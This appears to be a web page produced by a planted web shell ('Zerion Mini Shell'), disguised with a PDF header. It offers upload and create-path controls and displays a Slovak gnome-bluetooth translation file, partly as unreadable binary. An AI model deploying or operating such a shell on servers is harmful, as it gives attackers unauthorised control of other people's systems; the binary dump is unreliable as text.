%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/share/locale/sk/LC_MESSAGES/
Upload File :
Create Path :
Current File : //usr/share/locale/sk/LC_MESSAGES/gnome-bluetooth2.mo

��o��`	a	t	�	�	�	*�	�	�	�	�		


,
9
Q
k
~
�
�
�
�
�
�
�
	[	{
�
����
������

,HKP%���Y�,
2
8
=
E
H

^
i

	�
�
�
�
�
L�
4+RT~h�<DSh)����$� 0?
Xcy���������JSW#k	�����������.D=F��� �"�#���FLS[bu����/�"<HQ n
�	��"�a�
IT
c
n
y��
�	�
�����ADY]/���OTZ_fl(p�#����"&IaR:�>�k.q�-.\+{����.�'F!Wy�
�����
��������)�		 $8]an�	��A�T�]I !'*5HX_UA+Vo:K. i/R%Sa3T\7O	Mh2)<#CQ&1eF$N^lPIG>-@`;"=64WdL[(Jc
ZgEDbm]kY09
8B?j,nf%'d hour%'d hours%'d minute%'d minutes%'d second%'d seconds%d B/s%d kB/s%u transfer complete%u transfers completeADDRESSAcceptAddressAll categoriesAll typesAllowAn unknown error occurredAudio deviceBluetooth File TransferBluetooth Pairing RequestBluetooth TransferBluetooth file transfer from %sCameraCancelChoose files to sendClick to select device…ComputerConfirmConfirm Bluetooth ConnectionConfirm Bluetooth PINConfirm the Bluetooth PIN for “%s”. This can usually be found in the device’s manual.ConnectedConnecting…ConnectionDeclineDeviceDevice _category:Device _type:DevicesDisconnectedDismissDisplayFile reception completeFrom:HeadphonesHeadphones, headsets and other audio devicesHeadsetIf you remove the device, you will have to set it up again before next use.Input devices (mice, keyboards, etc.)JoypadKeyboardMake sure that the remote device is switched on and that it accepts Bluetooth connectionsModemMouseNAMENetworkNoNo adapters availableNot Set UpNot paired or trustedOpen Containing FolderOpen FilePairedPaired or trustedPairing “%s”PhonePlease confirm that the following PIN matches the one displayed on “%s”.Please confirm the PIN that was entered on “%s”.Please enter the following PIN on “%s”.Please enter the following PIN on “%s”. Then press “Return” on the keyboard.Please move the joystick of your iCade in the following directions. Then press any of the white buttons.PrinterRemote controlRemote device to useRemote device’s nameRemove “%s” from the list of devices?ScannerSearching for devices…SelectSelect device to send toSelect the device category to filterSelect the device type to filterSend _Files…Send files via BluetoothSending %sSending file %d of %dShow:TabletThere was an errorTo:ToyTrustedTypeUnknownVideo deviceVisible as “%s” and available for Bluetooth file transfers. Transferred files are placed in the <a href="%s">Downloads</a> folder.WearableYesYou received a fileYou received “%s” via Bluetooth[FILE…]_Cancel_Close_Keyboard Settings_Mouse & Touchpad Settings_OK_Remove_Remove Device_Retry_Send_Sound Settingsapproximately %'d hourapproximately %'d hours“%s” wants to connect with this device. Do you want to allow it?“%s” wants to pair with this device. Do you want to allow pairing?Project-Id-Version: gnome-bluetooth
Report-Msgid-Bugs-To: https://gitlab.gnome.org/GNOME/gnome-bluetooth/issues
PO-Revision-Date: 2019-09-26 10:06+0200
Last-Translator: Dušan Kazik <prescott66@gmail.com>
Language-Team: Slovak <gnome-sk-list@gnome.org>
Language: sk
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=3; plural=(n==1) ? 1 : (n>=2 && n<=4) ? 2 : 0;
X-Generator: Poedit 2.2.1
%'d hodín%'d hodina%'d hodiny%'d minút%'d minúta%'d minúty%'d sekúnd%'d sekunda%'d sekundy%d B/s%d kB/s%u prenosov dokončených%u prenos dokončený%u prenosy dokončenéADRESAPrijaťAdresaVšetky kategórieVšetky typyPovoliťNastala neznáma chybaZvukové zariadeniePrenos súborov cez bluetoothŽiadosť o párovanie so zariadením BluetoothPrenos cez bluetoothPrenos súborov cez bluetooth z %sFotoaparátZrušiťVýber súborov na odoslanieKliknutím vyberte zariadenie…PočítačPotvrdiťPotvrdenie pripojenia bluetoothPotvrdenie kódu PIN pre bluetoothPotvrďte kód PIN pre zariadenie „%s“. Zvyčajne sa dá nájsť v dokumentácii k zariadeniuPripojenéPripája sa…PripojenieOdmietnuťZariadenieZariadenie s _kategóriu:_Typ zariadenia:ZariadeniaOdpojenéOdmietnuťDisplejPríjem súboru dokončenýZ:SlúchadláSlúchadlá, slúchadlá s mikrofónom a iné zvukové zariadeniaSlúchadlo s mikrofónomAk odstránite zariadenie, budete ho musieť pred opätovným použitím znovu nastaviť.Vstupné zariadenia (myši, klávesnice, atď.)Herný ovládačKlávesnicaUistite sa, že vzdialené zariadenie je zapnuté a prijíma bluetooth spojeniaModemMyšNÁZOVSieťNieNie sú k dispozícií žiadne adaptéryNenastavenéNespárované alebo nedôveryhodnéOtvoriť obsahujúci priečinokOtvoriť súborSpárovanéSpárované alebo dôveryhodnéPárovanie so zariadením „%s“TelefónProsím, potvrďte, že nasledovný kód PIN sa zhoduje s tým zobrazeným na zariadení „%s“Prosím, potvrďte kód PIN zadaný v zariadení „%s“.Prosím, zadajte nasledujúci kód PIN na zariadení „%s“.Prosím, zadajte nasledujúci kód PIN na zariadení „%s“, a potom stlačte „Enter“ na klávesnici.Prosím, hýbte s džojstikom na vašom iCade nasledujúcimi smermi, a potom stlačte jedno z bielych tlačidiel.TlačiareňDiaľkové ovládanieVzdialené zariadenie, ktoré sa má použiťNázov vzdialeného zariadeniaOdstrániť „%s“ zo zoznamu zariadení?SkenerHľadajú sa zariadenia…VybraťVýber cieľového zariadeniaVyberte kategóriu zariadenia na vyfiltrovanieVyberte typ zariadenia na vyfiltrovaniePoslať _súboryPosielanie súborov cez bluetoothOdosiela sa %sOdosiela sa %d. súbor z %dZobraziť:TabletVyskytla sa chybaDo:HračkaDôveryhodnéTypNeznámeVideo zariadenieZariadenie je viditeľné pod názvom „%s“ a dostupné pre prenos súborov cez bluetooth. Prenesené súbory sú umiestnené v priečinku <a href="%s">Stiahnuté</a>.Doplnok oblečeniaÁnoPrijali ste súborPrijali ste súbor „%s“ cez bluetooth[SÚBOR…]_Zrušiť_ZavrieťNastavenia _klávesniceNastavenia _myšy a dotykovej plochy_OKO_dstrániťO_dstrániť zariadenie_Skúsiť znova_OdoslaťNastavenia _zvukupribližne %'d hodínpribližne %'d hodinapribližne %'d hodinyZariadenie „%s“ sa pokúša spárovať s týmto zariadením. Chcete ho povoliť?Zariadenie „%s“ sa pokúša spárovať s týmto zariadením. Chcete povoliť spárovanie?

Zerion Mini Shell 1.0